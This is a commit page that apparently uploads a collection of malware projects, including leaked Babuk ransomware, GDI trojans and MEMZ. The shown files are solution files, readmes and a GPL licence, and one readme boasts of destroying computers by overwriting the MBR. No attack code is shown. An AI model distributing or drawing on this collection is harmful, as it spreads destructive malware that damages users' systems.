Add files using upload-large-folder tool
Browse filesThis view is limited to 50 files because it contains too many changes.
See raw diff
- src/2,3,7,8-Tetrachlorodibenzodioxin-safety/2,3,7,8-Tetrachlorodibenzodioxin-safety.sln +31 -0
- src/2,3,7,8-Tetrachlorodibenzodioxin/readme.txt +17 -0
- src/APM 08279+5255-safety/APM 08279+5255-safety.sln +31 -0
- src/BabukRansomwareSourceCode-main/README.md +2 -0
- src/Dead-Fish.exe-by-kapi2.0peys-main/README.md +10 -0
- src/Epilepsy2.0/Epilepsy.sln +25 -0
- src/GDI-Trojan.Win32.UnunenniumA-main/LICENSE +674 -0
- src/GDI-Trojan.Win32.UnunenniumA-main/README.md +27 -0
- src/GDI-Trojan.Win32.UnunenniumA-main/UnuneniumA-Source.cpp +384 -0
- src/GDI-effects-main/README.md +1 -0
- src/GDI-effects-main/hslrotozoomer.cpp +90 -0
- src/GDI-effects-main/hslshader1.cpp +99 -0
- src/GDI-effects-main/hsvrotozoomer.cpp +87 -0
- src/GDI-effects-main/rgbshader.cpp +114 -0
- src/GDI-effects-main/shader.cpp +53 -0
- src/GDI-effects-main/shader2.cpp +50 -0
- src/GDI-effects-main/shader3.cpp +50 -0
- src/GDI-effects-main/shader4.cpp +63 -0
- src/GDI-effects-main/swirl.cpp +33 -0
- src/HighHappy-main/HighHappy.sln +25 -0
- src/HighHappy-main/README.md +80 -0
- src/Immortal-main/README.md +208 -0
- src/J100758.264-211529.207-main/J100758.264+211529.207.dev +62 -0
- src/J100758.264-211529.207-main/J100758.264+211529.207.ico +0 -0
- src/J100758.264-211529.207-main/J100758.264+211529.207.layout +8 -0
- src/J100758.264-211529.207-main/J100758.264+211529.207_private.h +23 -0
- src/J100758.264-211529.207-main/J100758.264+211529.207_private.rc +36 -0
- src/J100758.264-211529.207-main/J100758.264+211529.207_private.res +0 -0
- src/J100758.264-211529.207-main/Makefile.win +33 -0
- src/J100758.264-211529.207-main/SORRYASS.ASM +323 -0
- src/J100758.264-211529.207-main/SORRYASS.NFO +45 -0
- src/J100758.264-211529.207-main/main.cpp +309 -0
- src/J100758.264-211529.207-main/readme.txt +16 -0
- src/Ketako-main/README.md +23 -0
- src/Klog/Klog.sln +25 -0
- src/MEMZ/memz +1 -0
- src/MOUSEMVD.EXE_SRC/LICENSE +13 -0
- src/MOUSEMVD.EXE_SRC/Makefile +26 -0
- src/MOUSEMVD.EXE_SRC/mousemvd.c +142 -0
- src/MOUSEMVD.EXE_SRC/resource.rc +25 -0
- src/MasonRansomware-main/MasonRansomware.cs +11 -0
- src/MasonRansomware-main/README.md +8 -0
- src/MasonVirusV3-main/MasonVirus.sln +31 -0
- src/MasonVirusV3-main/README.md +154 -0
- src/NEPOTONOD-master/README.md +2 -0
- src/NEPOTONOD-master/nepotonod.sln +31 -0
- src/Nitrite-main/LICENSE +674 -0
- src/Nitrite-main/README.md +16 -0
- src/Nitro-Ransomware-master/NitroRansomware.sln +25 -0
- src/Nitro-Ransomware-master/README.md +42 -0
src/2,3,7,8-Tetrachlorodibenzodioxin-safety/2,3,7,8-Tetrachlorodibenzodioxin-safety.sln
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 17
|
| 4 |
+
VisualStudioVersion = 17.5.33424.131
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2,3,7,8-Tetrachlorodibenzodioxin", "2,3,7,8-Tetrachlorodibenzodioxin\2,3,7,8-Tetrachlorodibenzodioxin.vcxproj", "{5DEA96DF-DF15-4364-B17D-ABB64B44461E}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Debug|x64 = Debug|x64
|
| 11 |
+
Debug|x86 = Debug|x86
|
| 12 |
+
Release|x64 = Release|x64
|
| 13 |
+
Release|x86 = Release|x86
|
| 14 |
+
EndGlobalSection
|
| 15 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 16 |
+
{5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Debug|x64.ActiveCfg = Debug|x64
|
| 17 |
+
{5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Debug|x64.Build.0 = Debug|x64
|
| 18 |
+
{5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Debug|x86.ActiveCfg = Debug|Win32
|
| 19 |
+
{5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Debug|x86.Build.0 = Debug|Win32
|
| 20 |
+
{5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Release|x64.ActiveCfg = Release|x64
|
| 21 |
+
{5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Release|x64.Build.0 = Release|x64
|
| 22 |
+
{5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Release|x86.ActiveCfg = Release|Win32
|
| 23 |
+
{5DEA96DF-DF15-4364-B17D-ABB64B44461E}.Release|x86.Build.0 = Release|Win32
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 26 |
+
HideSolutionNode = FALSE
|
| 27 |
+
EndGlobalSection
|
| 28 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 29 |
+
SolutionGuid = {0A65FF99-BC31-403C-A418-4E2D643D4513}
|
| 30 |
+
EndGlobalSection
|
| 31 |
+
EndGlobal
|
src/2,3,7,8-Tetrachlorodibenzodioxin/readme.txt
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
██████╗ ██████╗ ███████╗ █████╗ ████████╗███████╗████████╗██████╗ █████╗ ██████╗██╗ ██╗██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗██████╗ ███████╗███╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██████╗ ██╗ ██╗██╗███╗ ██╗ ███████╗██╗ ██╗███████╗
|
| 2 |
+
╚════██╗ ╚════██╗╚════██║ ██╔══██╗ ╚══██╔══╝██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██║ ██╔═══██╗██╔══██╗██╔═══██╗██╔══██╗██║██╔══██╗██╔════╝████╗ ██║╚══███╔╝██╔═══██╗██╔══██╗██║██╔═══██╗╚██╗██╔╝██║████╗ ██║ ██╔════╝╚██╗██╔╝██╔════╝
|
| 3 |
+
█████╔╝ █████╔╝ ██╔╝ ╚█████╔╝█████╗██║ █████╗ ██║ ██████╔╝███████║██║ ███████║██║ ██║ ██║██████╔╝██║ ██║██║ ██║██║██████╔╝█████╗ ██╔██╗ ██║ ███╔╝ ██║ ██║██║ ██║██║██║ ██║ ╚███╔╝ ██║██╔██╗ ██║ █████╗ ╚███╔╝ █████╗
|
| 4 |
+
██╔═══╝ ╚═══██╗ ██╔╝ ██╔══██╗╚════╝██║ ██╔══╝ ██║ ██╔══██╗██╔══██║██║ ██╔══██║██║ ██║ ██║██╔══██╗██║ ██║██║ ██║██║██╔══██╗██╔══╝ ██║╚██╗██║ ███╔╝ ██║ ██║██║ ██║██║██║ ██║ ██╔██╗ ██║██║╚██╗██║ ██╔══╝ ██╔██╗ ██╔══╝
|
| 5 |
+
███████╗▄█╗██████╔╝▄█╗██║▄█╗╚█████╔╝ ██║ ███████╗ ██║ ██║ ██║██║ ██║╚██████╗██║ ██║███████╗╚██████╔╝██║ ██║╚██████╔╝██████╔╝██║██████╔╝███████╗██║ ╚████║███████╗╚██████╔╝██████╔╝██║╚██████╔╝██╔╝ ██╗██║██║ ╚████║██╗███████╗██╔╝ ██╗███████╗
|
| 6 |
+
╚══════╝╚═╝╚═════╝ ╚═╝╚═╝╚═╝ ╚════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝╚══════╝╚═╝ ╚═╝╚══════╝(aka TCDD.exe) (this ASCII Art looks like crap on Windows 11's stupid updated notepad I know)
|
| 7 |
+
|
| 8 |
+
Malware name: 2,3,7,8-Tetrachlorodibenzodioxin.exe
|
| 9 |
+
type: GDI-Trojan.Win32
|
| 10 |
+
Damage rate: Destructive+
|
| 11 |
+
Made in: C++
|
| 12 |
+
Creator: pankoza
|
| 13 |
+
Creation date: 3 August 2023
|
| 14 |
+
|
| 15 |
+
This is very dangerous for the non-safety version! It will destroy this computer by overwriting MBR
|
| 16 |
+
Credits to ArTicZera and Wipet for the HSL & RGBQUAD
|
| 17 |
+
Credits to ArTicZera and Rekto for the blur effect and pixelating effect
|
src/APM 08279+5255-safety/APM 08279+5255-safety.sln
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 17
|
| 4 |
+
VisualStudioVersion = 17.7.34221.43
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "APM 08279+5255", "APM 08279+5255\APM 08279+5255.vcxproj", "{D599BA9E-1D04-42C3-8647-340C7EB3929E}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Debug|x64 = Debug|x64
|
| 11 |
+
Debug|x86 = Debug|x86
|
| 12 |
+
Release|x64 = Release|x64
|
| 13 |
+
Release|x86 = Release|x86
|
| 14 |
+
EndGlobalSection
|
| 15 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 16 |
+
{D599BA9E-1D04-42C3-8647-340C7EB3929E}.Debug|x64.ActiveCfg = Debug|x64
|
| 17 |
+
{D599BA9E-1D04-42C3-8647-340C7EB3929E}.Debug|x64.Build.0 = Debug|x64
|
| 18 |
+
{D599BA9E-1D04-42C3-8647-340C7EB3929E}.Debug|x86.ActiveCfg = Debug|Win32
|
| 19 |
+
{D599BA9E-1D04-42C3-8647-340C7EB3929E}.Debug|x86.Build.0 = Debug|Win32
|
| 20 |
+
{D599BA9E-1D04-42C3-8647-340C7EB3929E}.Release|x64.ActiveCfg = Release|x64
|
| 21 |
+
{D599BA9E-1D04-42C3-8647-340C7EB3929E}.Release|x64.Build.0 = Release|x64
|
| 22 |
+
{D599BA9E-1D04-42C3-8647-340C7EB3929E}.Release|x86.ActiveCfg = Release|Win32
|
| 23 |
+
{D599BA9E-1D04-42C3-8647-340C7EB3929E}.Release|x86.Build.0 = Release|Win32
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 26 |
+
HideSolutionNode = FALSE
|
| 27 |
+
EndGlobalSection
|
| 28 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 29 |
+
SolutionGuid = {3274DEC5-F868-4331-8BE7-CFD3BA968543}
|
| 30 |
+
EndGlobalSection
|
| 31 |
+
EndGlobal
|
src/BabukRansomwareSourceCode-main/README.md
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Babuk Ransomware Source Code
|
| 2 |
+
Leaked source code of the babuk ransomware by VXUG
|
src/Dead-Fish.exe-by-kapi2.0peys-main/README.md
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# :fish:Dead-Fish.exe
|
| 2 |
+
My last GDI Malware
|
| 3 |
+
|
| 4 |
+
Open Source
|
| 5 |
+
|
| 6 |
+
You need .net Framework 4.0 to make it work
|
| 7 |
+
|
| 8 |
+
I am not responsible for the damages.
|
| 9 |
+
|
| 10 |
+
:mending_heart:
|
src/Epilepsy2.0/Epilepsy.sln
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
Microsoft Visual Studio Solution File, Format Version 12.00
|
| 3 |
+
# Visual Studio Version 16
|
| 4 |
+
VisualStudioVersion = 16.0.31729.503
|
| 5 |
+
MinimumVisualStudioVersion = 10.0.40219.1
|
| 6 |
+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Epilepsy", "Epilepsy\Epilepsy.csproj", "{6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}"
|
| 7 |
+
EndProject
|
| 8 |
+
Global
|
| 9 |
+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
| 10 |
+
Debug|Any CPU = Debug|Any CPU
|
| 11 |
+
Release|Any CPU = Release|Any CPU
|
| 12 |
+
EndGlobalSection
|
| 13 |
+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
| 14 |
+
{6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
| 15 |
+
{6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
| 16 |
+
{6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
| 17 |
+
{6BB4B3AA-88A8-421C-ACDB-3FCB3535D26C}.Release|Any CPU.Build.0 = Release|Any CPU
|
| 18 |
+
EndGlobalSection
|
| 19 |
+
GlobalSection(SolutionProperties) = preSolution
|
| 20 |
+
HideSolutionNode = FALSE
|
| 21 |
+
EndGlobalSection
|
| 22 |
+
GlobalSection(ExtensibilityGlobals) = postSolution
|
| 23 |
+
SolutionGuid = {5AF595E9-42FC-44B0-BA1A-BA108954D0ED}
|
| 24 |
+
EndGlobalSection
|
| 25 |
+
EndGlobal
|
src/GDI-Trojan.Win32.UnunenniumA-main/LICENSE
ADDED
|
@@ -0,0 +1,674 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
GNU GENERAL PUBLIC LICENSE
|
| 2 |
+
Version 3, 29 June 2007
|
| 3 |
+
|
| 4 |
+
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
| 5 |
+
Everyone is permitted to copy and distribute verbatim copies
|
| 6 |
+
of this license document, but changing it is not allowed.
|
| 7 |
+
|
| 8 |
+
Preamble
|
| 9 |
+
|
| 10 |
+
The GNU General Public License is a free, copyleft license for
|
| 11 |
+
software and other kinds of works.
|
| 12 |
+
|
| 13 |
+
The licenses for most software and other practical works are designed
|
| 14 |
+
to take away your freedom to share and change the works. By contrast,
|
| 15 |
+
the GNU General Public License is intended to guarantee your freedom to
|
| 16 |
+
share and change all versions of a program--to make sure it remains free
|
| 17 |
+
software for all its users. We, the Free Software Foundation, use the
|
| 18 |
+
GNU General Public License for most of our software; it applies also to
|
| 19 |
+
any other work released this way by its authors. You can apply it to
|
| 20 |
+
your programs, too.
|
| 21 |
+
|
| 22 |
+
When we speak of free software, we are referring to freedom, not
|
| 23 |
+
price. Our General Public Licenses are designed to make sure that you
|
| 24 |
+
have the freedom to distribute copies of free software (and charge for
|
| 25 |
+
them if you wish), that you receive source code or can get it if you
|
| 26 |
+
want it, that you can change the software or use pieces of it in new
|
| 27 |
+
free programs, and that you know you can do these things.
|
| 28 |
+
|
| 29 |
+
To protect your rights, we need to prevent others from denying you
|
| 30 |
+
these rights or asking you to surrender the rights. Therefore, you have
|
| 31 |
+
certain responsibilities if you distribute copies of the software, or if
|
| 32 |
+
you modify it: responsibilities to respect the freedom of others.
|
| 33 |
+
|
| 34 |
+
For example, if you distribute copies of such a program, whether
|
| 35 |
+
gratis or for a fee, you must pass on to the recipients the same
|
| 36 |
+
freedoms that you received. You must make sure that they, too, receive
|
| 37 |
+
or can get the source code. And you must show them these terms so they
|
| 38 |
+
know their rights.
|
| 39 |
+
|
| 40 |
+
Developers that use the GNU GPL protect your rights with two steps:
|
| 41 |
+
(1) assert copyright on the software, and (2) offer you this License
|
| 42 |
+
giving you legal permission to copy, distribute and/or modify it.
|
| 43 |
+
|
| 44 |
+
For the developers' and authors' protection, the GPL clearly explains
|
| 45 |
+
that there is no warranty for this free software. For both users' and
|
| 46 |
+
authors' sake, the GPL requires that modified versions be marked as
|
| 47 |
+
changed, so that their problems will not be attributed erroneously to
|
| 48 |
+
authors of previous versions.
|
| 49 |
+
|
| 50 |
+
Some devices are designed to deny users access to install or run
|
| 51 |
+
modified versions of the software inside them, although the manufacturer
|
| 52 |
+
can do so. This is fundamentally incompatible with the aim of
|
| 53 |
+
protecting users' freedom to change the software. The systematic
|
| 54 |
+
pattern of such abuse occurs in the area of products for individuals to
|
| 55 |
+
use, which is precisely where it is most unacceptable. Therefore, we
|
| 56 |
+
have designed this version of the GPL to prohibit the practice for those
|
| 57 |
+
products. If such problems arise substantially in other domains, we
|
| 58 |
+
stand ready to extend this provision to those domains in future versions
|
| 59 |
+
of the GPL, as needed to protect the freedom of users.
|
| 60 |
+
|
| 61 |
+
Finally, every program is threatened constantly by software patents.
|
| 62 |
+
States should not allow patents to restrict development and use of
|
| 63 |
+
software on general-purpose computers, but in those that do, we wish to
|
| 64 |
+
avoid the special danger that patents applied to a free program could
|
| 65 |
+
make it effectively proprietary. To prevent this, the GPL assures that
|
| 66 |
+
patents cannot be used to render the program non-free.
|
| 67 |
+
|
| 68 |
+
The precise terms and conditions for copying, distribution and
|
| 69 |
+
modification follow.
|
| 70 |
+
|
| 71 |
+
TERMS AND CONDITIONS
|
| 72 |
+
|
| 73 |
+
0. Definitions.
|
| 74 |
+
|
| 75 |
+
"This License" refers to version 3 of the GNU General Public License.
|
| 76 |
+
|
| 77 |
+
"Copyright" also means copyright-like laws that apply to other kinds of
|
| 78 |
+
works, such as semiconductor masks.
|
| 79 |
+
|
| 80 |
+
"The Program" refers to any copyrightable work licensed under this
|
| 81 |
+
License. Each licensee is addressed as "you". "Licensees" and
|
| 82 |
+
"recipients" may be individuals or organizations.
|
| 83 |
+
|
| 84 |
+
To "modify" a work means to copy from or adapt all or part of the work
|
| 85 |
+
in a fashion requiring copyright permission, other than the making of an
|
| 86 |
+
exact copy. The resulting work is called a "modified version" of the
|
| 87 |
+
earlier work or a work "based on" the earlier work.
|
| 88 |
+
|
| 89 |
+
A "covered work" means either the unmodified Program or a work based
|
| 90 |
+
on the Program.
|
| 91 |
+
|
| 92 |
+
To "propagate" a work means to do anything with it that, without
|
| 93 |
+
permission, would make you directly or secondarily liable for
|
| 94 |
+
infringement under applicable copyright law, except executing it on a
|
| 95 |
+
computer or modifying a private copy. Propagation includes copying,
|
| 96 |
+
distribution (with or without modification), making available to the
|
| 97 |
+
public, and in some countries other activities as well.
|
| 98 |
+
|
| 99 |
+
To "convey" a work means any kind of propagation that enables other
|
| 100 |
+
parties to make or receive copies. Mere interaction with a user through
|
| 101 |
+
a computer network, with no transfer of a copy, is not conveying.
|
| 102 |
+
|
| 103 |
+
An interactive user interface displays "Appropriate Legal Notices"
|
| 104 |
+
to the extent that it includes a convenient and prominently visible
|
| 105 |
+
feature that (1) displays an appropriate copyright notice, and (2)
|
| 106 |
+
tells the user that there is no warranty for the work (except to the
|
| 107 |
+
extent that warranties are provided), that licensees may convey the
|
| 108 |
+
work under this License, and how to view a copy of this License. If
|
| 109 |
+
the interface presents a list of user commands or options, such as a
|
| 110 |
+
menu, a prominent item in the list meets this criterion.
|
| 111 |
+
|
| 112 |
+
1. Source Code.
|
| 113 |
+
|
| 114 |
+
The "source code" for a work means the preferred form of the work
|
| 115 |
+
for making modifications to it. "Object code" means any non-source
|
| 116 |
+
form of a work.
|
| 117 |
+
|
| 118 |
+
A "Standard Interface" means an interface that either is an official
|
| 119 |
+
standard defined by a recognized standards body, or, in the case of
|
| 120 |
+
interfaces specified for a particular programming language, one that
|
| 121 |
+
is widely used among developers working in that language.
|
| 122 |
+
|
| 123 |
+
The "System Libraries" of an executable work include anything, other
|
| 124 |
+
than the work as a whole, that (a) is included in the normal form of
|
| 125 |
+
packaging a Major Component, but which is not part of that Major
|
| 126 |
+
Component, and (b) serves only to enable use of the work with that
|
| 127 |
+
Major Component, or to implement a Standard Interface for which an
|
| 128 |
+
implementation is available to the public in source code form. A
|
| 129 |
+
